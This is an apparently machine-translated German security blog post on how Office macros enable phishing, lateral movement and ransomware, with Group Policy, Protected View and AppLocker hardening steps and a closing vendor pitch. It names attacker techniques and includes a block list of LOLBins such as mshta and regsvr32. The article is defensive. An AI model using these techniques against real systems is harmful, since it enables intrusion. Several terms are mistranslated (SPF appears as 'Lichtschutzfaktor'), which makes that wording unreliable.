Nachfolgend sind die wichtigsten Cybersicherheitsrisiken aufgeführt, die Makros speziell für Organisationen und Unternehmensnetzwerke darstellen.

1. Makros nutzen das Vertrauen in interne Arbeitsabläufe aus

Mitarbeiter erhalten Dokumente häufig über:

• Interne E-Mail-Weiterleitung
  
• Freigegebene Netzlaufwerke
  
• Kollaborationsplattformen wie Teams oder SharePoint
  

Angreifer nutzen dieses Vertrauen aus, indem sie:

• Einbetten bösartiger Makros in Dokumente, die scheinbar von internen Benutzern oder Geschäftspartnern stammen
  
• Verwenden vonTemplate-InjektionoderContent-Spoofingum die grundlegende Prüfung zu umgehen
  

Ein einziger Klick auf „Inhalt aktivieren“ kann eine ganze Geschäftseinheit gefährden.

2. Makros ermöglichen laterale Bewegung im Netzwerk

Nach anfänglichem Kompromiss:

• Der Angreifer kannverwenden PowerShell-SkripteoderCredential-DumpingWerkzeuge, die vom Makro
  
• bereitgestellt werden Nutzen Sie kompromittierte Konten, um seitlich zu wechseln (z. B. von Finanz- zu IT-Systemen)
  
• Verwenden Sie Remote-Ausführungstools (z. B. PsExec, WMI), um Nutzlasten zu verteilen
  

Bei vielen Ransomware-Vorfällen ist der erste Infektionspunkt ein mit Makros aktiviertes Dokument, das an einen Benutzer mit geringen Berechtigungen gesendet wird.

3. Makros zielen auf hochwertige Abteilungen ab

Makros werden häufig verwendet, um Abteilungen anzugreifen, die:

• Umgang mit sensiblen Daten(Personal, Recht, Finanzen)
  
• Zugriff auf Zahlungssysteme habenoder interne Datenbanken
  
• Öffnen Sie häufig externe Dokumentevon Anbietern oder Kunden
  

Beispiel: Eine gefälschte Rechnung mit einem Makro, das die Kreditorenbuchhaltung infiziert, könnte zu Finanzbetrug oder Manipulationen bei Überweisungen führen.

4. Viele Organisationen blockieren Makros nicht standardmäßig

Noch heute:

• Viele Microsoft 365-UmgebungenMakros in vertrauenswürdigen Dokumenten zulassen
  
• Gruppenrichtlinienobjekte (GPOs) sind oft falsch konfiguriert oder veraltet
  
• Makros aus Cloud-Freigaben oder E-Mail-Anhängen bleiben ausführbar
  

Diese Lücke in der Makro-Governance führt zu einemEinstiegspunkt mit niedriger Barriere für Bedrohungsakteure.

5. Makros können Unternehmenssicherheitskontrollen entgehen

Hochentwickelte Makro-Malware verwendet häufig:

• Verschleierung(z. B. String-Splitting, Chr()-Kodierung)
  
• Living-off-the-land-Techniken(PowerShell, mshta, certutil)
  
• Dateilose Nutzlastendie in Erinnerung bleiben
  

Diese Verhaltensweisen:

• Umgehen Sie herkömmliche Antivirenprogramme (AV)
  
• Bleiben Sie von älteren Intrusion Detection Systemen (IDS) unentdeckt
  
• Unüberwachtes Verhalten von Office-Anwendungen ausnutzen
  

6. Compliance und rechtliche Risiken

Ein durch Makros ausgelöster Verstoß kann eine Organisation folgendem Risiko aussetzen:

• Verstöße gegen DSGVO, HIPAA oder PCI-DSSwenn sensible Daten kompromittiert werden
  
• Rechtliche Konsequenzen bei Datenmissbrauch
  
• Verlust des Kundenvertrauens und des Rufs des Unternehmens
  

7. Es ist schwierig, technisch nicht versierte Benutzer zu schulen

Bei Makros müssen Endbenutzer Entscheidungen darüber treffen, ob sie aktiviert oder blockiert werden. In großen Organisationen:

• Das Sicherheitsbewusstsein ist inkonsistent
  
• Mitarbeiter können Inhalte aus Gewohnheit aktivieren
  
• Angreifer verwenden Social-Engineering-Ausdrücke wie:
  
  
  „Inhalt aktivieren, um das Dokument richtig anzuzeigen.“

Fallstudie aus der Praxis:

In einem multinationalen Logistikunternehmen infizierte eine makrofähige Excel-Rechnung einen Endpunkt. Innerhalb weniger Stunden griffen Angreifer mit gestohlenen AD-Anmeldeinformationen seitlich vor und verteilten Ransomware auf über 700 Systemen.

So verhindern Sie Makroangriffe: Best Practices

In Unternehmensumgebungen ist ein vollständiges Verbot von Makros aufgrund legitimer Geschäftsanwendungsfälle möglicherweise nicht praktikabel. Stattdessen müssen Organisationen eineinführen mehrschichtige Verteidigungsstrategiedas Benutzerfreundlichkeit und Sicherheit in Einklang bringt.

Nachfolgend finden Sie einen umfassenden Leitfaden zur technischen Verhinderung makrobasierter Angriffe, ohne betriebliche Abläufe zu stören.

1. Blockieren Sie Makros in Dateien aus dem Internet (MotW Control)

Microsoft hat in Office-Apps eine Funktion zum Blockieren von Makros in Dokumenten eingeführtals aus dem Internet heruntergeladen markiertmitMark of the Web (MotW)Attribut. Dies stoppt denHäufigster Angriffsvektor: Phishing-Anhänge und Downloads.

So aktivieren Sie:

Verwenden SieGruppenrichtlinieoder Microsoft Intune:

Pfad: Benutzerkonfiguration → Admin-Vorlagen → Microsoft Office [Version] → Sicherheitseinstellungen → Trust Center

Einstellung: Blockieren Sie die Ausführung von Makros in Office-Dateien aus dem Internet → Aktiviert

• Gilt für .docm, .xlsm, .pptm, .xlam
  

Vorteil: Blockiert Makros in Dateien mit MotW (Zone.Identifier), ohne interne Makro-Workflows zu beeinträchtigen.

2. Deaktivieren Sie alle Makros mithilfe der Gruppenrichtlinie

Für hochsichere Umgebungen, in denen keine Makros erforderlich sind, vollständigMakrofunktionalität deaktivierenist die beste Option.

Konfiguration:

GPO-Pfad:

Benutzerkonfiguration → Admin-Vorlagen → Microsoft Office → Sicherheitseinstellungen → VBA-Makro-Benachrichtigungseinstellungen

• Empfohlene Einstellung:
    „Alle Makros ohne Benachrichtigung deaktivieren.“
  

Dies verhindert die Makroausführungvöllig, auch aus unterzeichneten Dokumenten, Angebotmaximaler Schutz.

Einsatz in SOCs, Rechtsabteilungen und Executive-Endpunkten, wo die Verwendung von Makros nicht zu den Routineaufgaben gehört.

3. Geschützte Ansicht aktivieren und erzwingen

Geschützte Ansichtöffnet potenziell riskante Office-Dateien in einemSandboxed, schreibgeschützter Container, wodurch die Ausführung von Makros erst dann gestattet wird, wenn ausdrücklich vertrauenswürdig ist.

So aktivieren Sie:

Gehen Sie zu:

• Datei → Optionen → Trust Center → Trust Center-Einstellungen → Geschützte Ansicht
  
• Aktivieren Sie alle Kontrollkästchen:
  
  • „Geschützte Ansicht für Dateien aktivieren, die aus dem Internet stammen“
    
  • „Geschützte Ansicht für Outlook-Anhänge aktivieren“
    
  • „Aktivieren Sie die geschützte Ansicht für Dateien, die sich an potenziell unsicheren Orten befinden.“
    

Dadurch wird verhindert, dass Benutzer eingebetteten Code in nicht vertrauenswürdigen Dateien ausführen, es sei denn, sie verlassen ausdrücklich die geschützte Ansicht.

4. Sicherheitsbewusstseinsschulung für Endbenutzer

Trotz technischer Kontrollen bleiben Benutzer einHauptzielfür Social Engineering. Makros werden oft mit Nachrichten wie:

übermittelt „Dieses Dokument ist verschlüsselt. Bitte aktivieren Sie die Anzeige des Inhalts.“

Schulungsgrundlagen:

• Simulieren Sie Makro-Phishing-Angriffe mit Tools wieGoPhishoderMicrosoft-Angriffssimulator
  
• Vierteljährlich durchführenMakrobasierte Phishing-Aufklärungskampagnen
  
• Geben Sie Beispiele für Verstöße aus der Praxis an, die durch Makromissbrauch verursacht wurden
  

Schulen Sie Benutzer inAktivieren Sie niemals Makrosin E-Mail-Anhängen oder heruntergeladenen Dokumenten, es sei denn, sie stammen vongenehmigte interne Arbeitsabläufe.

5. Anwendungskontrolle verwenden: AppLocker / Microsoft Defender Application Control (MDAC)

Angreifer nutzen häufigLiving-off-the-Land-Binärdateien (LOLBins)wie PowerShell, WMI, mshta und certutil, die über Makrocode gestartet werden.

Prävention über AppLocker/MDAC:

• Ausführung einschränken von:
  
  • powershell.exe
    
  • wscript.exe, cscript.exe
    
  • mshta.exe
    
  • regsvr32.exe
    
• Makrorichtlinien erzwingen:
  
  • Nur signierte Makros zulassen
    
  • Blockieren Sie nicht signierte oder Base64-verschleierte Skripte
    

MDAC bietet eine detaillierte Kontrolle darüber, welche Skripte und Binärdateien ausgeführt werden können, selbst von vertrauenswürdigen Anwendungen wie Microsoft Office.

6.  Sichern Sie Ihre E-Mail- und Endpunkt-Gateways

Da Makros häufig überin die Organisation gelangen E-Mail, ist die Sicherung Ihrer E-Mail-Ebene von entscheidender Bedeutung.

Best Practices für die E-Mail-Sicherheit:

• Verwenden SieSandbox-fähige sichere E-Mail-Gateways:
  
  • Microsoft Defender für Office 365
    
  • Proofpoint TAP
    
  • Gezielter Bedrohungsschutz von Mimecast
    
• Entfernen oder isolieren Sie .docm-, .xlsm-, .pptm-Anhänge
  
• Verwenden SieDMARC,DKIM, undLichtschutzfaktorzur E-Mail-Validierung
  
• Aktivieren SieAutomatische Null-Stunden-Reinigung(ZAP) in Microsoft 365 zum nachträglichen Entfernen von Phishing-E-Mails
  

Fügen Sie EDR-Tools (wie Defender ATP, CrowdStrike, SentinelOne) hinzu, um zu erkennen, dass Office ungewöhnliche Prozesse erzeugt.

7. Verwenden Sie digital signierte Makros und Makro-Whitelisting

Wenn Ihr Unternehmen auf Makros angewiesen ist:

• Signieren Sie interne Makros digital mit IhremUnternehmenszertifizierungsstelle
  
• Konfigurieren Sie Office aufNur signierte Makros ausführen
  

Wie:

• Verwenden Sie SelfCert.exe, um ein Testzertifikat zu generieren oder es in Ihre PKI zu integrieren
  
• In den Trust Center-Einstellungen:
  
  • Überprüfen Sie„Deaktivieren Sie alle Makros außer digital signierten Makros.“
    

Kombinieren Sie dies mitMakro-Whitelisting, sodass nur vorab genehmigte Makros ausgeführt werden können.

Abschließende Gedanken

Also,Wie stellen Makros ein Cybersicherheitsrisiko dar?Die Antwort liegt in ihrer Doppelnatur. Während Makros darauf ausgelegt sind, die Produktivität durch die Automatisierung von Aufgaben in Microsoft Office zu steigern, können sie von Angreifern genauso leicht als Waffe eingesetzt werden, um Ransomware, Fernzugriffstrojaner, Banking-Malware und andere bösartige Payloads zu verbreiten.

Für Organisationen und Einzelpersonen geht die eigentliche Gefahr nicht von Makros selbst aus, sondern vonunzureichende Sicherheitsrichtlinien, mangelndes Bewusstsein und schlechte Sichtbarkeitin das Verhalten von Office-Dateien integrieren.

In einer Welt, in der Phishing-E-Mails und bösartige Anhänge dieAngriffsvektor Nr. 1, könnte das einfache Klicken auf „Inhalt aktivieren“ der Beginn einer umfassenden Sicherheitsverletzung sein.

Wichtige Erkenntnisse:

• Behandeln Sie makrofähige Dokumente (.docm, .xlsm, .pptm) ​​immer mit Misstrauen
• Implementieren Sie mehrschichtige Abwehrmaßnahmen, einschließlichGPO-Härtung,EDR,Sandboxing, undBenutzerschulung
• Deaktivieren Sie Makros, sofern nicht erforderlich, und verwenden SieMakrosignierung und Whitelistingwo nötig
• Überwachen Sie das Verhalten von Office-Apps genau, insbesondere wenn sie Skript-Engines wie PowerShell oder MSHTA erzeugen

Benötigen Sie Hilfe bei der Sicherung Ihrer Büroumgebung?

Sind Sie besorgt darüber, dass Makros ein Cybersicherheitsrisiko für Ihr Unternehmen darstellen?
Machen Sie Ihre Systeme nicht durch einen einzigen Klick angreifbar.

• Holen Sie sich einKostenloses Makro-Angriffsflächen-Audit
• Identifizieren Sie risikoreiche Arbeitsabläufe und Benutzerverhalten
• Erhalten Sie umsetzbare Härtungsempfehlungen für Microsoft 365

Kontaktieren Sie das Sicherheitsteam von CyberLad und unternehmen Sie den ersten Schritt, um diese kritische Lücke in Ihrer Sicherheitslage zu schließen.